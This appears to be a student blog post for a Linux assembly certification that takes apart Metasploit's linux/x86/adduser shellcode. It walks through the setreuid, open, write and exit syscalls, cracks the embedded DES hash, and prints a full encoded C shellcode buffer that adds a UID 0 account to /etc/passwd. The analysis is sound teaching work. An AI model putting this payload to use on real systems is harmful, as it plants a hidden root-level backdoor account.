SLAE #5: linux/x86/adduser

The fifth SLAE assignment consists in analyzing three shellcode samples from Metasploit.

The msfvenom tool can be used to generate the shellcode. It combines the msfencode and msfpayload command line utilities.

Metasploit ships with a ton of payloads for different architectures. We are interested in the ones for linux/x86.

$ msfvenom -l payloads | grep linux/x86
    linux/x86/adduser        Create a new user with UID 0
    linux/x86/chmod          Runs chmod on specified file with specified mode
    linux/x86/exec           Execute an arbitrary command
[…]

The first shellcode that will be analyzed is linux/x86/adduser. Let’s see what are the available options.

$ msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 219
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
——   ———————  ————  —————
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

Both the default username and password are set to metasploit, but they can be changed from the command line.

The following command creates the adduser payload with a custom user and password, outputs it in binary format, and pipes the output to the ndisasm disassembler to get the equivalent assembly code. -u indicates that we are working in 32-bit mode.

$ msfvenom -p linux/x86/adduser USER=username PASS=password -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E826000000        call dword 0x51
0000002B  7573              jnz 0xa0
0000002D  65726E            gs jc 0x9e
00000030  61                popad
00000031  6D                insd
00000032  653A417A          cmp al,[gs:ecx+0x7a]
00000036  53                push ebx
00000037  7A42              jpe 0x7b
00000039  327579            xor dh,[ebp+0x79]
0000003C  384A46            cmp [edx+0x46],cl
0000003F  6C                insb
00000040  6B3A30            imul edi,[edx],byte +0x30
00000043  3A30              cmp dh,[eax]
00000045  3A3A              cmp bh,[edx]
00000047  2F                das
00000048  3A2F              cmp ch,[edi]
0000004A  62696E            bound ebp,[ecx+0x6e]
0000004D  2F                das
0000004E  7368              jnc 0xb8
00000050  0A598B            or bl,[ecx-0x75]
00000053  51                push ecx
00000054  FC                cld
00000055  6A04              push byte +0x4
00000057  58                pop eax
00000058  CD80              int 0x80
0000005A  6A01              push byte +0x1
0000005C  58                pop eax
0000005D  CD80              int 0x80

Every time the int 0x80 instruction appears, the eax register will contain the syscall number. This allows us to identify the system calls being used and infer the parameter values.

xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80

This section calls the syscall number 0x46 (70 in base 10). A quick grep shows that it is the setreuid system call.

$ grep 70 /usr/include/i386-linux-gnu/asm/unistd_32.h 
#define __NR_setreuid 70

The signature of setreuid is as follows.

int setreuid(uid_t ruid, uid_t euid);

ebx and ecx are zero and serve as the ruid and euid parameters, so setreuid will set the effective and real user ID to 0 (root). This is done in order to elevate privileges if the running process has dropped them.

push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80

The second part of the program invokes the system call number 5, which is the open syscall. man 2 open shows the relevant signature.

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

ebx contains the file path. We can see that some values are pushed onto the stack and then the mov ebx,esp instruction takes place. Decoding the hex values to ASCII makes it easier to understand.

>>> "64777373".decode("hex")
‘dwss’
>>> "61702f2f".decode("hex")
‘ap//‘
>>> "6374652f".decode("hex")
‘cte/‘

The file path passed to open is /etc/passwd. There’s an extra / added so the length is multiple of 4.

The value of the ecx register is set to 0x00000401. We can check which flags correspond to that value in the /usr/include/asm-generic/fcntl.h file.

#define O_WRONLY        00000001
[…]
#define O_NOCTTY        00000400        /* not fcntl */

O_WRONLY opens the file for writing. O_NOCTTY is not so self explanatory, so here’s the info from the manpage.

If pathname refers to a terminal device—see tty(4)—it will not
become the process’s controlling terminal even if the process
does not have one.

The final call to open looks like the following.

open("/etc/passwd", O_WRONLY | O_NOCTTY);

If the operation succeeds, eax will hold the file descriptor.

00000025  93                xchg eax,ebx
00000026  E826000000        call dword 0x51
0000002B  7573              jnz 0xa0
0000002D  65726E            gs jc 0x9e
00000030  61                popad
00000031  6D                insd
00000032  653A417A          cmp al,[gs:ecx+0x7a]
00000036  53                push ebx
00000037  7A42              jpe 0x7b
00000039  327579            xor dh,[ebp+0x79]
0000003C  384A46            cmp [edx+0x46],cl
0000003F  6C                insb
00000040  6B3A30            imul edi,[edx],byte +0x30
00000043  3A30              cmp dh,[eax]
00000045  3A3A              cmp bh,[edx]
00000047  2F                das
00000048  3A2F              cmp ch,[edi]
0000004A  62696E            bound ebp,[ecx+0x6e]
0000004D  2F                das
0000004E  7368              jnc 0xb8
00000050  0A598B            or bl,[ecx-0x75]
00000053  51                push ecx
00000054  FC                cld
00000055  6A04              push byte +0x4
00000057  58                pop eax
00000058  CD80              int 0x80

Moving on to the next block. The first instruction stores the file descriptor in ebx. We then see a call 0x51 instruction followed by a lot of seemingly random stuff.

Looking at the offsets in our disassembly, we can see that 0x51 is one byte past the beginning of the 0A598B instruction. 0A is the hexadecimal representation of the newline character, so all the gibberish in between might in fact be a string.

A simple way to test it is to try converting the opcodes from 0000002B to 00000050 to ASCII.

>>> "757365726E616D653A417A537A42327579384A466C6B3A303A303A3A2F3A2F62696E2F73680A".decode("hex")
'username:AzSzB2uy8JFlk:0:0::/:/bin/sh\n'

The string contains our desired username and the encrypted password. To verify the password, we can either encrypt ‘password’ with the DES algorithm and see if it matches AzSzB2uy8JFlk, or try to decrypt it with a password cracker. Let’s do the latter using John the Ripper.

$ echo "username:AzSzB2uy8JFlk:0:0::/:/bin/sh" > crackme
$ john crackme 
Created directory: /home/xmgv/.john
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (username)
1g 0:00:00:00 100% 2/3 100.0g/s 33300p/s 33300c/s 33300C/s 123456..marley
Use the "—show" option to display all of the cracked passwords reliably
Session completed

Now we need to disassemble the payload again, but skipping the string declaration. The ndisasm manpage describes how to do exactly that.

 -k offset,length
           Specifies that length bytes, starting from disassembly
           offset offset, should be skipped over without
           generating any output. The skipped bytes still count
           towards the calculation of the disassembly offset.

To skip the 0000002B to 00000050 range, the offset should be 0x2B (43) and the length 0x26 (38).

$ msfvenom -p linux/x86/adduser USER=username PASS=password -f raw | ndisasm -u -k 43,38 -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E826000000        call dword 0x51
0000002B  skipping 0x26 bytes
00000051  59                pop ecx
00000052  8B51FC            mov edx,[ecx-0x4]
00000055  6A04              push byte +0x4
00000057  58                pop eax
00000058  CD80              int 0x80
0000005A  6A01              push byte +0x1
0000005C  58                pop eax
0000005D  CD80              int 0x80

This looks much better. Let’s go back to the block we were analyzing before.

00000025  93                xchg eax,ebx
00000026  E826000000        call dword 0x51
0000002B  skipping 0x26 bytes
00000051  59                pop ecx
00000052  8B51FC            mov edx,[ecx-0x4]
00000055  6A04              push byte +0x4
00000057  58                pop eax
00000058  CD80              int 0x80

The first instruction stores the file descriptor in the ebx register. Then the call instruction pushes the current code location onto the stack and performs an unconditional jump to the code located at offset 0x51, which is the pop ecx instruction. The last value on the stack is the address of the string we want to write to /etc/passwd, so ecx points to it.

mov edx,[ecx-0x4]

The value of ecx in our disassembly is 0x2B, so after this instruction is executed edx will have the value stored at 0x2B - 0x4 = 0x27. This offset falls in the middle of the call instruction: E826000000. In fact, 0x26 is the length of the string we are going to write.

Finally, eax is set to 4 and the write syscall is invoked.

ssize_t write(int fd, const void *buf, size_t count);

As we can see, the values in ebx, ecx and edx match with the system call signature.

push byte +0x1
pop eax
int 0x80

The final piece of code calls exit and ends the program.

Let’s actually execute the payload and verify its behavior. We’ll use msfvenom to output a C formatted shellcode that is free of null bytes.

$ msfvenom -p linux/x86/adduser USER=username PASS=password -f c -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 122 (iteration=0)
unsigned char buf[] = 
"\xbf\xf7\x1a\x5e\xf7\xd9\xf7\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x18\x83\xc3\x04\x31\x7b\x11\x03\x7b\x11\xe2\x02\x2b\x97\x7e"
"\x27\x26\x61\xd9\x7a\x37\x07\xdc\xdc\x09\x11\x8f\xb4\x1a\xd2"
"\x47\x20\xb5\x3b\x87\xd8\x24\x2c\xf8\x7d\xd3\xcf\x8f\x9e\x5a"
"\xa5\x94\xad\xdd\x56\x7c\x0b\xde\x58\x7d\x26\xad\x3d\x0f\xa6"
"\x30\xd3\x8a\x0c\xf2\x51\x06\x0a\xb6\x97\xdd\x93\x0e\x92\x5b"
"\x0f\x04\x18\x54\xf5\xea\x66\xae\x26\x31\xb8\xac\x51\x2b\xe9"
"\x43\xc9\xb9\xac\x28\x58\x42\x24\x2b\x02\x77\x39\x59\xb3\xdf"
"\xf7\x1e";

Keep in mind that the payload needs to be run as root. Regular users don’t have permissions to write to the /etc/passwd file.

We can then verify that a new entry was added and do a login.

$ tail -1 /etc/passwd
username:AzSzB2uy8JFlk:0:0::/:/bin/sh
$ su username
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)

This post ended up being much longer than I anticipated, so the two remaining shellcodes will be analyzed in future posts.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s